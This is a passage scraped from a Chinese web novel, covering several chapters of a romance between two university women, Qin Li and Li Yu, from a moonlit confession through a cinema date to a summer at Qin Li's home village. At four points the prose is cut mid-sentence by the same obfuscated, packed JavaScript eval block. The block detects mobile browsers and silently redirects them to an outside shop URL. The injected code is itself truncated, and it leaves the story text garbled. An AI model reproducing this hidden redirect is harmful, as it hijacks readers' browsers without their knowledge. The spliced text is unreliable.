这一刻,秦离多么希望可以永远走下去。在每一个孤单的夜晚会袭来的烦闷和茫然,在这一刻被幸福和期盼完全替代。 “黎羽……”秦离唤她的声音带着自己都不曾意识到的渴望。 “……嗯?” “黎羽。” “嗯。” “黎羽,怎么样能让你开心些呢?” “……其实没事,只是一时的,明天我就好了。你……不用这样。” “可是,就算只是这一时,我也想让这不开心的一时短一点。” “黎羽,我只想让你开心。” 黎羽沉默了片刻,原本搭在秦离手背上的手指慢慢放松,轻轻贴了上去。 “那说说你的事吧,什么都好。” 秦离观察着黎羽的脸色,在脑子里寻找轻松的话题。她看见清澈见底的河水,想到了家乡的阆江,便道:“你们都知道我是南城人嘛,其实这是为了方便大家对应地方。严格意义上来说,我家乡只是南城管辖范围内一个很小很远的乡镇罢了。我是中学才到南城去读书的,初一时候才11岁呢。我们学校是全封闭式的,周末我也住在学校里,半年回一次家,因为回家要坐大巴,在黄泥巴路上开三个多小时,太远了,路也烂,我每回必吐得昏天暗地。” “嗯。” “其实跟现在没差,半年回一次家,哈哈。我们中学管得可严了,不准留长发,不准点外卖,然后外卖我们就偷偷喊,喊完让老板隔着栏杆递进来或者扔进来。要是保安看见会来逮我们,逮到就要没收东西,还要通报给班上。所以我们每次都跟保安斗智斗勇,大家分散跑,只要跑进教学楼就是安全的。” “嗯。” “说个笑话,初中时保安还是跑步追我们,后来升级成自行车,再后来是电瓶车,我今年寒假回去看,已经全方位装上监控摄像头了,一点死角都不留,哈哈哈哈。” “还有还有……” “……你性格一直很好。”黎羽感慨着。她听秦离说了很多过去的事情,不管发生什么,她总是这么乐乐呵呵的,对什么也都充满期待。 秦离带着两人的手轻轻晃着,步伐也有点小雀跃:“人生还很长啊,发生什么都总有办法的吧?比起结果,我还是更注重过程体验,反正怎么过不是过呢,安啦,船到桥头自然直。” “我的人生理想就是,每天听自己喜欢的音乐,悠悠哉哉地过日子。”① 说起自己的事,秦离总是很兴奋,眼睛弯弯的,兴奋于分享自己的事,有一瞬间甚至已经忘记本意是想让黎羽开心。 好在黎羽确实被分散了注意力,在秦离各种夸张的描述里,心中的烦闷慢慢散去。 明月当空,没有一刻收敛自己的光辉。不知不觉中,两人的手指已经紧紧缠绕着了,像是依附而生的藤蔓,谁也离不开谁。 秦离看到黎羽的眼神也恢复了些神采,侧目看着她,就好像只看见了她一人。 她心头微动:“黎羽,我也想听听你的事。” “我?我的人生很乏味,没有什么特别的。” “说说嘛,什么都好呀。” 黎羽沉默了片刻,道:“我就是普通地上学,平时在店里帮忙,然后训练。之后的话,大概重心更多放在公司那边了。” “……” “……” “没有了?” “没有了,就很普通的生活。” “那……过去呢?”秦离问道。她其实想知道她的过去,那是一团迷雾,除了李凌菲提过的那一句,不曾漏露一点信息。 “过去……还是普通地上学,没什么特别的。” “诶……” 见秦离有些小失望,黎羽想了想,道:“其实我一开始并不喜欢垒球。” “嗯?”虽然不是秦离想要知道的事,她还是期待地看了过去。 “我不太喜欢动,也不喜欢和人打交道。” “那怎么后来?” “大一新生入学第一天,校门口全是社团招新。当时李凌菲已经提前入社了,拉住我,一定要让我加入垒球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370145|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社。” “咦,然后你就去了?”秦离有些小嫉妒,即使知道黎羽和李凌菲之间没有半点火花,还是会吃醋她们关系好。 黎羽摇头:“最初没有。但是她说我进去后不用怎么打球,每周打一次卡就行,然后就可以不用参加晨跑了,我就同意了。” 晨跑是所有大学生深恶痛绝的东西,一学期至少要二十次呢。 “第二天我才知道,她其实是想拉我当宣传门面,招更多新生入社。” “哈哈哈哈,因为,你真的很帅很好看呀。” 秦离笑得毫不收敛,心中也很欢喜,欢喜于黎羽愿意讲她自己的事。 慢慢的,一切又回归平静。她们顺着河流走到了望月湖。 望月湖是E大东南角的一个小湖,藏在郁郁葱葱的树林里,周围没有建筑,除了约会的情侣,很少会有学生过来。 湖边装了一架银白色的秋千椅,坐在上面的人刚好可以看见天上正中央的圆月,和深绿色的湖面中央映出的水影。 到达预想的地点,秦离又开始紧张了。她手心微微出汗,心脏也快要从胸口蹦出来了。 “黎羽……” 空气变得粘稠,她面向黎羽,却不敢看她的眼睛,低着头看着两人交握的手,给自己鼓气。 “黎羽,我有话想对你说。” “我……我喜欢你。” 黎羽身体颤了颤,条件反射收回手。 掌心的温度流失,秦离的眼眶有些酸涩。虽然有所猜测,但面对黎羽的躲闪和抗拒,她还是委屈。 明明刚才一切都是那么好。 她掐着手心,忍住眼泪,逼迫自己把话说完:“其实刚才我很开心,我以为……以为你这是接受我……” “……”黎羽嘴唇翕动,什么也没说出口,脸上带着懊悔,半天才道,“对不起。” “我不要听这个!”秦离拼命眨着眼睛,却没能止住泪珠落在地上,浸出深色的斑点。 月亮在不知不觉中已经被黑云掩去了面容,湖水重回一团漆黑。 第一滴泪水落下,有更多的连成串,无声落下。 黎羽看不见,叹了口气,道:“秦离,这并不是一条好走的路。” “……” 她的声音有些苦涩:“你跟我不一样,你之前是喜欢男生的,只是被一时的感觉冲昏了头。你看,你才刚认识我而已,时间长了自然就……” “才不是这样!” 秦离抬头猛然打断黎羽。黎羽哑声,这才发现她整张脸都已经哭花了,声音都在发抖。 “我就是喜欢你,喜欢你,喜欢你!” 她的声音越来越大,喊完后整个人又颓了下去。 “我是认真的,你不可以……不可以这样……” 说完,她蹲下,像个小蘑菇样缩成一团,眼泪吧嗒吧嗒继续掉。 “秦离。” “……”秦离不理人。 “秦离。” “……”秦离依旧不理人,继续做小蘑菇。 “秦离……”黎羽蹲下,摸了摸她的头,声音温柔,“是我不好,不哭了,我们去那边坐着说话。” “好不好?” 16. Chapter 16 最后,秦离还是不争气地动了,乖乖跟黎羽坐在秋千椅上。 秋千椅轻轻摇晃着,秦离依旧缩成一团,抱住膝盖,漆黑的长发遮住半张带泪的脸庞。她靠在左边的藤蔓上,冰冷的触感让身体微微颤抖。 黎羽从包里取出件黑色的外套,披在她身上。衣服上带着淡淡的草木味,秦离轻轻嗅了嗅,是属于黎羽独特的味道。 月亮羞羞答答又出来了,在湖面映出淡黄色的身影。黎羽手上捏着不知道什么时候捡的石头,砸进湖里,打碎那轮虚假的月亮。 “你之前不是说,想听我的事吗?” “嗯。”秦离的声音瓮瓮的。 黎羽望了很久的湖面,才缓慢开口:“我的前任……也是我的初恋。” 秦离将身上的衣服抓得紧了些。 “她跟我一个高中,我们是高一时在一起的。她也是个很外向活泼的女生,跟大家关系都很好,和我截然不同。那时我……家里有点情况,不喜欢回家,就在外面闲逛。她撞见过几次,主动拉着我到处跑,去她家玩,慢慢就熟起来了……” 黎羽有点出神。秦离心里不太舒服,但又忍不住想多知道一些,语气酸酸的:“然后呢?” 听见她的声音,黎羽从回忆里拔出来:“然后她跟我告白,我们就在一起了。从高一到高三,再到大学,五年啊……” 黎羽怅然。 “我们本来说好了,一起来梦城,毕业了就在这里扎根,有自己的家。可惜……” 黎羽又扔了块石头进去,月影再次变得破碎不堪,她的声音也变得冰冷。 “可惜诺言跟世上所有东西一样,都有保质期,过了就一文不值。” “我和她曾在一起的时间太久了,久到我已经忘了,她跟我是不一样的。” 听到这句话,秦离的心揪起来了,又为得到和她前任相似的评价而感到不满。 “我的基因大概从出生那刻起就已经编写好了,注定我只能喜欢女生,这不是选择,是唯一。而对她而言,我不过是选择之一罢了。” “怎么了……”秦离小心翼翼问道,已有所猜测。 话到这里,黎羽的语气已经逐渐平静,像是在说别人的事:“去年的时候,差不多就在六月吧,我发现她劈腿了,和一个男的已经交往小半年了,说是去年年底就订婚,现在可能就差毕业结婚生子了吧。” “她怎么能这样,太过分了!”秦离义愤填膺,眼睛瞪得圆圆的,声音都有力气了,半点不见刚才的低沉。 黎羽见她这样,反倒笑了,淡淡的笑。 今晚的第一个笑容。 “钱的事吧,那男的本地人,也算是个富二代,她家里又比较困难。”更多的,黎羽没有再详细说了,“不过都已经过去了,感情跟其他很多事比起来,本来也不那么重要。” “怎么能这样说,”话到这里,秦离的情绪愈发激烈,“那是她的错,不是感情的错。是她太差劲了,辜负了你的喜欢。” 秦离觉得黎羽有点像她之前在路边看见的小刺猬,表面说着不在意,实际上竖起了尖刺,防备着所有触及她内心的人和事。 特别是爱情。 “我跟她不一样,我才不会让你伤心难过,也做不出……什么劈腿的事。”秦离对黎羽那什么前任很是不耻,什么感情变了,现实有困难确实是正常可能发生的事,但是脚踏两只船就是对爱情的践踏! 黎羽沉默着,秦离转头看着她,看见了她的眼神。 “你不相信我!”她急得差点从秋千椅上蹦了起来。 “对,我无法相信你。”黎羽说话难得直白,“我不想在同一个坑里跌倒两次,不想成为谁的选择之一。” 秦离气闷,又改变不了自己的过去,只能说:“你这是歧视!” 黎羽被她执拗的眼神看得哭笑不得,故意应着:“嗯。好吧,那我可能就是歧视吧。” “……”秦离更气了,小声嘀咕着,“我就是喜欢你,只喜欢你,才不是做什么选择。” 秦离说的是实话。黎羽对她来说确实很特别,她是第一次如此狂热地喜欢一个人,也是第一次在被拒绝后没有马上放弃,将人扔进遗忘清单。 “嗯。”黎羽顺着她。 “我跟你前任不一样,但跟你也没什么不一样。” “嗯。” “我不会放弃的,我要继续追你,直到你同意为止。” “嗯。” “那,在你同意之前,不要再对我说拒绝的话。” “嗯。” “!”秦离欢欣雀跃,差点从秋千椅上栽了下来,“你答应了!我不管,你答应了就不许反悔!” 黎羽眼疾手快拉住她,表情无奈:“……嗯。” 秦离更开心了。她以为是逮着黎羽习惯性接话的机会,但只有黎羽自己清楚,她或许也没有自己以为的那么坚决。不过今晚经过秦离搞的这么一出,白天输掉比赛的痛苦倒没那么强烈了。 “好了,很晚了,我们回去吧。” “好哦!^0^” 秦离斗志满满,然而乐极生悲,吹了整晚的夜风成功打倒了她,让她高烧不起在床上躺了整整两天。等她终于有力气爬起来时,看到日历才反应过来,她追求之路的最大阻碍来了—— 暑假! 秦离欲哭无泪,连忙给黎羽去消息:【你什么时候放假走啊?】 【下周五。】 秦离掐指一算,只有六天了!而且两个人都还有考试呢。 【呜呜~[大哭][大哭]怎么这么快啊,我都没开始行动呢。】 【^^】 摸着屏幕上的小人,秦离嘀咕着:“真的是,坏死了。”她脸上洋溢的笑容却暴露了自己的情绪。 这时,黎羽又发了条消息过来:【前两天怎么了?】 或许……对方也在等她的行动。秦离心中甜蜜,向心上人诉苦:【前两天发高烧了,呜呜呜呜~烧到了39度了呢,今天才终于降下来了。还好这两天没考试,不然就我这大脑过热的状态(物理意义),表演个当场宕机,只能重修了。多亏室友救我狗命,送我去输液,给我送吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370146|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,天菩萨!】 【[大笑][摸头]好好休息吧。】 【好哦![乖巧][揉脸][打滚]】 接下来,秦离状态回来,火力全开,让黎羽见识了什么叫追求的可怕。 她知道黎羽的考试安排后,就赶着时间从早上开始给她送吃的送喝的,今天买这个小礼物,明天买那个小礼物。第一天的时候,秦离甚至还抱了一大捧粉色玫瑰在楼下等她,吓得黎羽赶紧将她拉到树荫下躲起来。幸好是晚上,秦离还知道站在不显眼的位置,周围刚好又没有人,不然黎羽怕是要表演一个当场逃跑。 不过她最后还是将那束花收下了。 除此之外,便是秦离随时随地的信息分享,和时时刻刻都想和黎羽相处贴贴的举动了。不过她也聪明,知道观察情况,发现黎羽在忙或者有些不高兴了,就火速撤退,弄得黎羽哑了火,哭笑不得。 这样折腾了几天,黎羽身边的人都知道了秦离大张旗鼓的追求,连陈玲嘉都见过她好几次了。同为双鱼座的两人倒是很投缘,第一次见面就聊得很欢,陈玲嘉也会故意透露一点黎羽不那么在意的小细节。 在最后的考试季,秦离居然还有精力去烘焙店做黄油饼干。收到那盒包装精美的小饼干,黎羽有些无奈:“最近考试不忙吗?” “还……还好啦。”秦离对手指。不过是每天熬夜到区区三四点罢了,这对常年熬夜看小说打游戏的她来说,小case啦~她敏锐察觉到黎羽的情绪,有些无措:“怎么了,你不喜欢吗?” 黎羽确实不喜欢吃甜食,但她没说,想着这几天的兵荒马乱,故意露出不很满意的样子,逗她:“这就是追求哦?” “嗯?”秦离这几天是真的很认真在追求,十分肯定,“对呀,我想对你表达我所有的喜欢,把所有好的东西都送给你,让你开心。” “你一天不相信,我就表达一天。你一年不相信,我就表达一年。我会让你相信的,我很喜欢你,真的真的很喜欢你。” 秦离的表情真挚,眼睛很亮,黑色的眼瞳里满满映着黎羽的模样。 “而且,我喜欢你,就想要一直看着你,一直跟你说话,想看你的笑容,想要……很多很多。” 黎羽顿住了。仿佛被这炙热的感情所灼伤,她条件反射往后缩了缩,别开眼睛,半天才道:“好了,我……我知道了。” 没有得到她的回应,秦离有些失落,但也不意外。她再接再厉:“那……明天下午你考试结束,有没有时间?” “嗯?” “后天你不是就走了嘛,明天我们一起去看电影吧。” 后天就是周五了,黎羽离开的时间。秦离心中不舍,一想到接下来有两个月看不到她了,就失魂落魄。这几天她也没找到什么时间和黎羽单独相处,便总念着。 好歹,好歹也要有一次约会吧! 黎羽敛目,隐去眼里的情绪,余光瞥见秦离逐渐不安的神情,在她张嘴想要找补时,终于开口了。 “好。” 就当作是,给她离开之前最后的安慰了吧。 17. Chapter 17 第二天,天公不作美,是个阴天,但丝毫不影响秦离的好心情。中午刚吃完饭,她就洗了个澡,哼着歌在衣柜里选衣服,最后挑了条波西米亚风的绿裙子配白色的亚麻短袖,戴着可爱的小鱼耳环,画了个淡妆,拎着挂有小煤球的编织斜挎包出门了。 黎羽的考试在下午三点结束,秦离两点半就等在教学楼下的水坛处,盯着里面的小鱼发呆。 小鱼啊小鱼,请千万保佑今天的约会顺顺利利吧。 秦离闭着眼睛祈祷,然后扔了枚硬币进去。硬币扑通入水,惊得鱼群尾巴一甩,朝远处游去。 三点铃声响,秦离就眼巴巴望着出口处。过了不久,黎羽顺着人群出来了。 喧嚣中,秦离却只看得见黎羽一人。她今天穿着黑白竖条纹的长袖衬衫,下摆松松地扎进靛蓝色的牛仔裤里,或许是刚考完试,神情有些懒散疲惫。 明明只是普通的穿着,在秦离眼里却像是发着光,是黑白的世间万物里唯一一抹彩色。 她兴奋地朝着黎羽大挥手,小声喊着:“这里,这里。” 黎羽其实第一眼就看见秦离了。她明显精心打扮过,浑身上下都透着活力,和从楼里涌出来这波死沉沉的考后“幸存者”显得格格不入。 “走吧。”黎羽已经逐渐习惯秦离高调的姿态了,尽力忽视周围人的目光,“我们去哪里?” “去爱琴海~我买了三点半的电影票。” 爱琴海是云林大学城周边的一块商业区,环境档次比三街高些,但距离比较远。云林这边起名就喜欢搞这种欧式的调调,什么莱茵河小镇啊,苏格兰绿地啊,让人吐槽无力。 秦离选的电影是《疯狂原始人》,当季刚上映的动画电影,评价不错。 快放假了,整个商场冷冷清清没什么人。秦离去领票,黎羽站在柜台问她:“要吃爆米花吗?” “要!^0^可乐加冰,爆米花和薯条双拼,谢谢~” 回来时,黎羽递了个猴公仔给秦离。 “给我的?” “刚刚套餐送的,好像就是我们看的这部电影的纪念品。” “好哦。” 秦离握着小小的玩偶,一点也不嫌弃上面歪歪扭扭的线条,笑眯了眼,将它挂在包上的小煤球旁边。 黎羽端着两杯可乐,黎羽抱着满满一大桶爆米花,两人就像最普通的一对小情侣,过着最庸俗的约会生活。 庸俗,但快乐。 幸运的,电影快开始了,整个厅里都只有她们两个人。 秦离欢呼着:“简直就像我们的专场。”她提着裙子哒哒哒跑上台阶,选了个最中间的位置。黎羽跟在她身后,坐在她旁边。 今天如果她们不来,这里只会是一片漆黑,什么也不会开始。 二零一三年七月的今天,下午三点三十分,这一刻的电影是属于她们两个人的,因为她们的到来而播放,而存在。 电影开始了,灯光熄灭,只有屏幕的暗光打在两人身上,像是独属于她们的聚光灯。 这部片子轻松温馨又搞笑,秦离看得哈哈大笑。她喜欢主角Eep的性格,喜欢她和家人在一起的生活,那会让她想到自己的家人,心中温暖。 黎羽没那么大触动,只是觉得这片子拍得还不错,不愧是梦工厂出品。 秦离看得入迷,手上机械式地抓着爆米花一颗颗往嘴里喂,又拿着薯条一根根咔咔咬短吃掉。 黎羽看她一点没耽误自己进食,脸鼓鼓的,一直在动,看上去像个小仓鼠似的,有点可爱。 注意到黎羽的目光,秦离转头看她,头上冒出个问号:“怎么了,你也吃呀,再不吃都快被我吃光了。” 没等黎羽摇头,秦离捏着一颗送到她嘴边。黎羽犹豫着还是张嘴了。 柔软的舌尖、湿润的指尖、微甜的爆米花,一触即逝的触感让双方的心都颤了颤,黎羽快速吞下,没尝到什么滋味,余光瞥到秦离在出神,指尖不自觉地摩挲着。 栗色的碎发下,黎羽的耳根变得微红。她不自在地摸了摸耳朵,声音有些干:“还是我自己来吧。” “好吧。”秦离的声音颇为遗憾。 电影变得没有那么有吸引力了。 秦离的眼神飘忽着。两人的手在狭小的爆米花桶里触碰着,指尖挨着指尖,轻轻勾过,又快速离开。 黎羽看了秦离一眼。小心思被发现,秦离反倒眉毛上扬,明目张胆,耀武扬威。 黎羽的手指本能弯了弯。她抽出手,抓着可乐喝了一大口,冰冷浸透了五脏六腑,让发热的脑袋逐渐冷却。 旁边秦离吃完最后一根薯条,轻轻吮吸着指腹,习惯性舔着手指。 黎羽看见她唇间隐约探出粉红色的舌尖,一下又一下轻舐着,触碰到刚才她碰…… “哗——” 大脑一片嗡鸣,黎羽身体紧绷,手上不自觉发力,可乐盖被捏炸开了,可乐洒了她一身。 !!! 秦离连忙从包里拿出纸巾和湿巾,边递给她,边帮她擦着:“怎么这么不小心呀。” 她没有注意到黎羽的神情变化,黎羽也庆幸她没有注意到,耳根更红了。 “没……没事,我自己来就行。” “好吧。”秦离顺手将自己也收拾干净。她隐隐有些着急,都两个人出来约会了,一点进展都没有,对方好像还有点心不在焉。好吧……她自己也看电影看入迷了。 欸,这样可不行啊! 于是电影的后半段,秦离有意无意总有些小动作。 她的手不安分地动着,从中间的扶手慢慢往左,试探着贴着黎羽的手臂。见黎羽瞥了她一眼没说话,她胆子大了点,顺着手臂慢慢向下攀爬着,手腕、手心、手指,指尖调皮地跳动着,在黎羽的手心打圈,乐此不疲。 黎羽本想假装不知道,但见秦离的动作越来越明显,手心的痒意一路往上蹿到了心口。她额头抽了抽,忍无可忍,一把抓住秦离的“咸猪手”,凶凶道:“好好看电影。” “好哦。”秦离眼睛弯弯,嬉皮笑脸,一点都没被她恐吓到。她霸道地将手指挤进对方的指缝,牢牢抓住,肌肤的贴合,没有一丝缝隙。 过了会,秦离的手老实了,身体又开始不安分了。她将两人中间的扶手抬上去,侧着身体慢慢向左挪,小心翼翼往黎羽的肩上靠去。 见她摆得实在艰辛,也不嫌这姿势别扭得慌,黎羽叹了口气,将手抽了出来。 秦离才慌张了片刻,就见黎羽手臂从她肩后环过,将她整个揽在怀里,身体微斜,头刚好靠在肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370147|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀上,是两个人都稍微舒服点的姿势。 “这样可以了吧?” 秦离喜笑颜开。她再次抓住黎羽的手,恢复十指紧扣的样子,头又在她怀里蹭来蹭去,才满足道:“这样才可以。” 随着秦离的动作,黎羽感觉有几缕长发落在了自己锁骨上,拂过皮肤,微痒。 “好了,别动!”黎羽将秦离的头按在自己肩上,“好好看电影。” “好哦。”秦离答得乖巧,一点看不出刚才闹腾的样子。 两人继续安静地看电影。秦离能嗅到黎羽身上淡淡的草木香,是一贯的味道。每次闻见,她便感觉内心很宁静,仿佛能清晰感受到身体内血液流淌和细胞分裂的声音,感受每一次呼吸,深刻感觉到自己是活着的。 电影到了七十分钟,也到了最后的高潮时刻。面对危机,父亲将家族成员一个个扔到了绝壁对面,独留自己一个人等待死亡。 秦离看得眼睛酸涩。随着剧情发展和音乐烘托,她的泪水在眼眶里打了个转,便接连落了下来,无声哭个不停。 她总是这样,情感丰富,容易激动,高兴也哭,难过也哭,感动也哭。 她也有些难为情,忍了,但是没忍住,偷偷擦着眼泪。 黎羽感觉到肩上的湿润,低头看见了泪汪汪的秦离。怎么说呢,有点意外,但也不是很意外。 她给秦离递了纸巾。被发现后,秦离就哭得更明显了,不再遮掩。她呜咽着:“我就是……就是忍不住。” “没关系,想哭就哭吧。”黎羽对这些没什么感觉,但是并不讨厌秦离这样。 电影到最后是皆大欢喜,秦离也破涕为笑,瞬间收声。 两人出电影院时已经快五点了,天上乌云密布,不知什么时候下起了滂沱大雨。 秦离正在选晚上吃饭的店时,黎羽突然接了个电话。 看见来电号码,黎羽的眉头皱起来了。她瞥了眼黎羽,走到稍远的地方接通电话。 “喂,嗯,明天才回来。” “……” “……我知道了,我马上改签回来。” 电话结束得很快,她回来后,浑身多了一股躁意。 秦离还在聚精会神翻着店铺评论,终于确定下来,欢喜道:“黎羽,我们晚上吃……” 黎羽打断她:“抱歉,我有急事,要马上走。” “诶……”秦离大失所望,“什么事啊……” “抱歉……” 黎羽什么也没说,往外走着:“你好好玩,我先走了。” “我和你一起。” 秦离忙跟着她一起往外走。黎羽要是走了,她也没什么兴致吃饭了。 外面雨势变大,秦离还在找卖伞的地方时,黎羽已经大步迈进雨里,身上被瞬间淋湿。 “等等……” 秦离给了钱,快速抓过伞跟了过去,撑开挡在两人头上。 黎羽停住,脸上又恢复了那副冷淡的样子,仿佛下午与秦离亲近的是另一个人。她扶着伞把完全挪到秦离正上方,不让她淋到一点雨,声音里却听不出温度:“秦离,就到这里吧。” 秦离呆立在原地,看着黎羽上了辆出租,窗户关着,看不见身影。车子启动。 然后,消失不见。 18. Chapter 18 黎羽就这样消失了。 秦离给她发了许多消息,当天,第二天,离开学校,回到南城,发了许多许多,她都没有回。 她不明白黎羽为什么会这样子,是自己做错了什么吗?就算是宣判死亡,好歹也有个判决书吧。 最后,秦离只能将这股气憋在心里,闷闷不乐地回家了。 回到家里日子倒是过得更舒坦了,每天吃吃睡睡躺躺。 “勺勺,起来吃饭咯。” 已经中午了,爸爸做了一桌子她爱吃的菜,清蒸鲈鱼、蒸腊肉排骨、鱼香茄子、肉沫蒸蛋。妈妈刚从外面回来,这段时间正是工程上最忙的时候。 “……好哦。”秦离揉揉眼睛,从床上爬起来。 餐桌上,妈妈先开口:“勺勺,暑假有没有撒子安排?” 秦离边干饭边刷着手机,一心二用道:“没撒子也,可能就跟朋友出切吃饭耍一哈,其他时候就在屋头。” 妈妈也没纠正她吃饭玩手机的坏习惯,继续道:“这样的,妈妈最近有个活路,估计要去康城那边呆个把月的样子,你老汉有事要回老家。你看你是跟我切康城,还是跟你老汉回切?” 爸爸日常笑眯眯的:“跟我回切嘛,康城那边撒子都莫得,呆几天还可以,一个月怕你要无聊惨哦。” 妈妈拍了下他,没好气道:“不要影响娃儿判断,等她个人选。” 秦离最近干什么都提不起兴致,只想天天看小说看番剧,不想动弹。她不想去康城,也不想回老家,康城太远,老家又一个朋友都没有。 她眼睛都要钻到屏幕里去了,正看到关键时刻,头也不抬,语气不耐烦:“哎呀,我都不想切,就等我一个人呆屋头嘛。你们切你们的,不用管我。” 妈妈也拍了拍她:“我还不晓得你哦,留你一个人在屋头,怕是要耍翻天了,天天躺在床上,下午三四点都不得爬起来。” 爸爸笑容不变地火上浇油:“而且肯定天天点外卖,又不好好收拾,等我们回来屋头就乱七八糟了。” 秦离心道不好,果然抬头就看妈妈眉头皱起来了。爸爸刚才那话可戳中她的死穴了。 妈妈有轻微洁癖,最见不得家里乱了,略微思考,果然马上拍板:“不行,你必须选一个,跟我切康城,或者跟你老汉回老家。” 最终,拗不过当家人,秦离心不甘情不愿地选择了和爸爸一起走。 她决定,一天都不要理他了。虽然这决定在得知老爸要带她进山打斑鸠钓鱼做火锅后,一个小时效果都没有就立马改变了。 秦离的爸爸在镇上的农业厅上班,人缘极好,不知道为什么能整天在外面溜达,领导也不找他的麻烦。妈妈的公司开在南城,常年在外跑工程,因此家里在南城也买了房子。平日里没事爸爸就三天两头到南城来,大多时候一家人三个人三个地方,从初中开始便是如此,秦离也习惯了。 爸爸是个极具生活情趣的人,动手能力极强,擅长下厨木工等一切要亲自上手的事,因此从小到大秦离都喜欢黏着他玩。 在老家呆了四五天了,爸爸带着她每天山上水里的跑来跑去,玩得都差不多了,秦离也没明白他到底回来忙什么。 又过了两天,直到爸爸带着她去参加了一个亲戚的丧事,她才知道这事到底是什么。 白事流水席上,秦离小声问爸爸:“你怎么知道她会……” 去世的亲戚好像是爸爸的三姑婆,和他关系还比较亲近,但他脸上看不出什么悲色,好像已经习惯了:“老年人,摔了病了,到了某个时候就要走了,亲朋好友其实都能看出来。不止老年人,就算是年轻人,天灾人祸,也说不定什么时候就要告别这个世界了。” 彼时,秦离还觉得死亡好像是很遥远的话题。她本能不喜欢,听到皱着眉。 爸爸笑了,没多跟她说,挥挥手:“吃饱了就玩去吧。” 秦离本来也在席上呆得无聊得很,得到赦令笑嘻嘻地跑开了。 吃席的地方在村里,属于老家的老家,在半山坡上,站在山头能看见下面流淌的阆河。 秦离找了块大石头坐着,摘了根不知道什么草扔进嘴里嚼着。 淡淡的草木香。 她又想黎羽了。 其实这几天,她想到对方的时候已经变少了,好像离开了梦城,连那片土地上的记忆都变得模模糊糊,恍如隔世。 但在触碰到类似的记忆点时,所有的回忆和情绪就像炸堤的洪水般,瞬间爆开,将她彻底淹没。 她翻开手机,是她发过去的近百条消息。对话框里,对方那边依旧是空荡荡的。 好讨厌。 好讨厌…… 什么都好讨厌…… 秦离微微仰头,让阳光刺痛自己,眼里有泪水盈出。 “勺勺?” 后面突然有人叫她,秦离连忙抹去滑出的几滴眼泪,眨眨眼,转过头去,看了半天,才认出来人是小姨。 秦离小时候跟小姨很亲,小学时爸妈工作都忙,她还带过自己三年。后来她们家闲下来把她接回去了,小姨某天也突然不见了,听大人说好像是跑去沿海地带打工,秦离便没怎么再见过她了。 这次见面,小姨模样大变,跟秦离记忆里完全不同。印象中,她穿着普通,话也不算多,喜欢读书。今天见面,她瘦了许多,穿着无袖的T恤和工装裤,挂着一串银色项链,到肩的头发扎起了一半,看上去干练又有些慵懒。 秦离在她身上嗅到了熟悉的气质。 “……小姨?” “果然是勺勺啊,”小姨笑容爽朗,与过去大相径庭,“都长这么大了,快认不出来了。” “……”听见长辈这种熟悉的言辞,秦离只觉头大。 小姨盯着她,突然过来捏了捏她的脸:“还是这么肉嘟嘟的,哈哈,苦着脸做什么,小姨又不是那些没眼色的家伙,才不会问东问西。” “没有……” 秦离闷闷地回答,心里感慨,小姨真的……变得好不一样……但许久未见面,她一时也不知道说什么。 她自以为不明显地暗戳戳偷瞄着小姨,心里倒是有想问的话,但又不知道如何开口。 “哎,大老远就看见你在这里看云发呆,这习惯还是跟小时候一样嘛。有什么都可以给小姨说呗,你知道的,我保守秘密一向在行。” 说着,小姨坐到她旁边,眨了眨眼。 秦离找到了熟悉的感觉。小时候就是这样,小姨总是对她很好,她跟小姨最亲,有什么烦恼都跟小姨说,小姨也绝对不会告诉爸妈和其他任何人,有好多独属于她们俩的小秘密。 秦离想起小时候的疑问了,犹豫着开口:“小姨,你那时候为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370148|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么突然想到离开这里了,还去了那么久。” “嗯?你不知道吗?哦,也是,那时候你还太小。我啊,是逃婚跑掉的。” “逃婚?!”秦离震惊。 “嗯。”小姨学秦离那样,也拔了根草叼在嘴里,“我爸看我年龄不小了,非要给我安排门亲事,不嫁就打断了我的腿,锁在家里,后来我拖着腿伤翻窗逃跑了。” 